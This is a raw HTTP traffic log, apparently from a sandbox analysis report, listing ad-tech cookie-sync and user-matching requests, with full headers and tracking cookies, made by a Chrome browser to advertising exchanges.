Source: global traffic	HTTP traffic detected: GET /xuid?mid=7976&xuid=25F9549E-136A-47E9-9171-DA44C0E0D5E3&dongle=u6nf&gdpr=0&gdpr_consent= HTTP/1.1Host: eb2.3lift.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tluid=3952083078138885077332
Source: global traffic	HTTP traffic detected: GET /ups/58294/sync?_origin=1&uid=2e900569-927a-06eb-1392-726f7eb2d7a0&verify=true HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBKVVGGYCEPQl9jf0CBX-b2h6zQMimWUFEgEBAQGnGWYiZtxH0iMA_eMAAA&S=AQAAApnkDuCYySCcSyI641A3060
Source: global traffic	HTTP traffic detected: GET /usersync?b=sus&i=ZhhVpcCo5ucAAKwn53sAAAAA HTTP/1.1Host: usersync.gumgum.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b
Source: global traffic	HTTP traffic detected: GET /ps/?us_privacy=1---&ts=1712870821243.2&ri=25&ru=https%3A%2F%2Fads.pubmatic.com%2FAdServer%2Fjs%2Fuser_sync.html%3F%26p%3D156423%26us_privacy%3D%24%7BUS_PRIVACY%7D%26predirect%3Dhttps%253A%252F%252Fevents-ssc.33across.com%252Fmatch%253Fliv%253Dh%2526us_privacy%253D%24%7BUS_PRIVACY%7D%2526bidder_id%253D25%2526external_user_id%253D HTTP/1.1Host: ssc-cms.33across.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://hde.tynt.com/deb/?m=xch&rt=html&id=0014000000xvEfwAAE&us_privacy=1---&ru=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dthirty_three_across%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D33XUSERID33X&b=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: check=true; 33x_ps=u%3D212556691801834%3As1%3D1712870819534%3Ats%3D1712870819534
Source: global traffic	HTTP traffic detected: GET /ups/58292/sync?_origin=1&uid=25F9549E-136A-47E9-9171-DA44C0E0D5E3&redir=true&gdpr=0&gdpr_consent= HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBKRVGGYCEC_BlP8b8Gz3toB26nxk_KYFEgEBAQGnGWYiZgAAAAAA_eMAAA&S=AQAAAip50BDQPzIwlTtm3ffj6-Q
Source: global traffic	HTTP traffic detected: GET /usersync?b=apn&i=3393848220146687847 HTTP/1.1Host: usersync.gumgum.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b
Source: global traffic	HTTP traffic detected: GET /cm-notify?pi=gumgum&tc=1 HTTP/1.1Host: creativecdn.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: g=ouNOiU9ACIjtQdGvKF3V_1712870820978; ts=1712870820
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?id=537072399&val=3393848220146687847 HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pd=v2\|1712870819\|vMbwgag2gKhEvPkWgyiK; i=46e94f3a-bf92-4da1-a008-76f8bf99cb15\|1712870820
Source: global traffic	HTTP traffic detected: GET /ps/?_=1712870821243.&ri=0014000000xvEfwAAE&gdpr_58=&gdpr=0&gdpr_consent=&us_privacy=1---&ru=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dthirty_three_across%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D33XUSERID33X HTTP/1.1Host: ssc-cms.33across.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hde.tynt.com/deb/?m=xch&rt=html&id=0014000000xvEfwAAE&us_privacy=1---&ru=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dthirty_three_across%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D33XUSERID33X&b=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: check=true; 33x_ps=u%3D212556691801834%3As1%3D1712870819534%3Ats%3D1712870819534
Source: global traffic	HTTP traffic detected: GET /usersync/redirect?partner=appnexus&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=3393848220146687847 HTTP/1.1Host: exchange.mediavine.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTIxNzcmdGw9MTI5NjAw&gdpr=0&gdpr_consent=&piggybackCookie=CAESENQ6H1ciB1fBhQrozbvvrnY&google_cver=1 HTTP/1.1Host: image2.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; chkChromeAb67Sec=1; pi=157108:2; DPSync3=1714003200%3A201_263%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713398400%3A223%7C1714003200%3A71_250_104_3_220_13_54_231_21_166_165
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=tapad&ttd_tpi=1&ttd_puid=f873d799-987f-45f5-8689-9e999756dca0%252C%252C&gdpr=0&gdpr_consent= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19; TDCPM=CAEYASABKAIyCwic1cWwm57tPBAFOAFaBmd1bWd1bWAC
Source: global traffic	HTTP traffic detected: GET /usersync/redirect?partner=mediagrid&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=4a756380-b7e0-40d8-87fd-f9b0074cc705 HTTP/1.1Host: exchange.mediavine.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
Source: global traffic	HTTP traffic detected: GET /dcm?pid=6e1b1225-4dd8-4d7d-b277-465574a27014&id=5882fa9d-56ba-8758-80bb-31f28122e829 HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track/cmf/openx?oxid=005486e0-4a10-3ca2-40b5-b365e91123c9&gdpr=0 HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19; TDCPM=CAEYASABKAIyCwic1cWwm57tPBAFOAFaBmd1bWd1bWAC
Source: global traffic	HTTP traffic detected: GET /sync?ssp=the33across&us_privacy=1--- HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hde.tynt.com/deb/?m=xch&rt=html&id=0014000000xvEfwAAE&us_privacy=1---&ru=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dthirty_three_across%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D33XUSERID33X&b=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tuuid=4a756380-b7e0-40d8-87fd-f9b0074cc705; c=1712870820; tuuid_lu=1712870820
Source: global traffic	HTTP traffic detected: GET /usersync?b=pln&i=8CYd5xB94ljT&ev=1&gpp_sid=$&gpp=$&us_privacy=${us_privacy}&pid=558355 HTTP/1.1Host: rtb.gumgum.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b
Source: global traffic	HTTP traffic detected: GET /ps/?us_privacy=1---&ts=1712870821243.6&ri=90&ru=https%3A%2F%2Fib.adnxs.com%2Fgetuid%3Fhttps%253A%252F%252Fevents-ssc.33across.com%252Fmatch%253Fliv%253Dh%2526us_privacy%253D%24%7BUS_PRIVACY%7D%2526bidder_id%253D90%2526external_user_id%253D%2524UID HTTP/1.1Host: ssc-cms.33across.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hde.tynt.com/deb/?m=xch&rt=html&id=0014000000xvEfwAAE&us_privacy=1---&ru=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dthirty_three_across%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D33XUSERID33X&b=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: check=true; 33x_ps=u%3D212556691801834%3As1%3D1712870819534%3Ats%3D1712870819534
Source: global traffic	HTTP traffic detected: GET /sync?ssp=themediagrid&gdpr=0&gdpr_consent=&us_privacy=1---&user_id=3a6574e0-f84a-11ee-a9d1-333cefc92741 HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tuuid=4a756380-b7e0-40d8-87fd-f9b0074cc705; c=1712870820; tuuid_lu=1712870820
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?id=537073061&val=7275991910677607931&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pd=v2\|1712870819\|vMbwgag2gKhEvPkWgyiK; i=d3f8b9b9-e397-0355-1a63-7b8d8d361034\|1712870819
Source: global traffic	HTTP traffic detected: GET /usersync?b=sta&i=0-b894bcc3-3b2f-50d3-402d-2b181c031c60$ip$156.146.36.197 HTTP/1.1Host: usersync.gumgum.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b
Source: global traffic	HTTP traffic detected: GET /ups/58350/sync?redir=true HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hde.tynt.com/deb/?m=xch&rt=html&id=0014000000xvEfwAAE&us_privacy=1---&ru=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dthirty_three_across%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D33XUSERID33X&b=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBKVVGGYCEPQl9jf0CBX-b2h6zQMimWUFEgEBAQGnGWYiZtxH0iMA_eMAAA&S=AQAAApnkDuCYySCcSyI641A3060
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTc4JnRsPTE1NzY4MDA=&piggybackCookie=203013809340254297&gdpr=0&gdpr_consent= HTTP/1.1Host: simage2.pubmatic.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; chkChromeAb67Sec=1; pi=157108:2; DPSync3=1714003200%3A201_263%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713398400%3A223%7C1714003200%3A71_250_104_3_220_13_54_231_21_166_165
Source: global traffic	HTTP traffic detected: GET /sync/openx/9493e0a4-dabc-aeeb-7162-a5901646ee80?gdpr=0 HTTP/1.1Host: pr-bh.ybp.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBKVVGGYCEHOBxTT3u2GKaqwxPBS4iIEFEgEBAQGnGWYiZgAAAAAA_eMAAA&S=AQAAAjdlRRX5EwsWHNUIS9wFfpU
Source: global traffic	HTTP traffic detected: GET /d/sync/cookie/generic?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MzI1MCZ0bD0xMjk2MDA=&piggybackCookie=${ADELPHIC_CUID}&gdpr=0&gdpr_consent= HTTP/1.1Host: sync.ipredictive.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cu=d3c52a71-4626-42f8-b765-7c4caff9dd34\|1712870820698
Source: global traffic	HTTP traffic detected: GET /getuid?gdpr=0&cmp_cs=&us_privacy=1---&redir=https%3A%2F%2Fssc-cms.33across.com%2Fps%2F%3Fus_privacy%3D1---%26xi%3D33%26xu%3D%24UID HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hde.tynt.com/deb/?m=xch&rt=html&id=0014000000xvEfwAAE&us_privacy=1---&ru=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dthirty_three_across%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D33XUSERID33X&b=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tluidp=3952083078138885077332; tluid=3952083078138885077332
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=openx&google_hm=MmMzYjU1MmEtODM2Ny02MjA2LTU1NTUtZTlkYzIzZjNlZGE5 HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUnKTao8RJNkre_DilFL_eNpJEN6oSgYP12FeM51cAOqXnzsiO_HwKK3PwdFhxI
Source: global traffic	HTTP traffic detected: GET /bidswitch/sync?bidswitch_ssp_id=gumgum2&bsw_custom_parameter=4a756380-b7e0-40d8-87fd-f9b0074cc705&gdpr=&gdpr_consent=&gdpr_pd=&us_privacy=1--- HTTP/1.1Host: dsp.nrich.aiConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
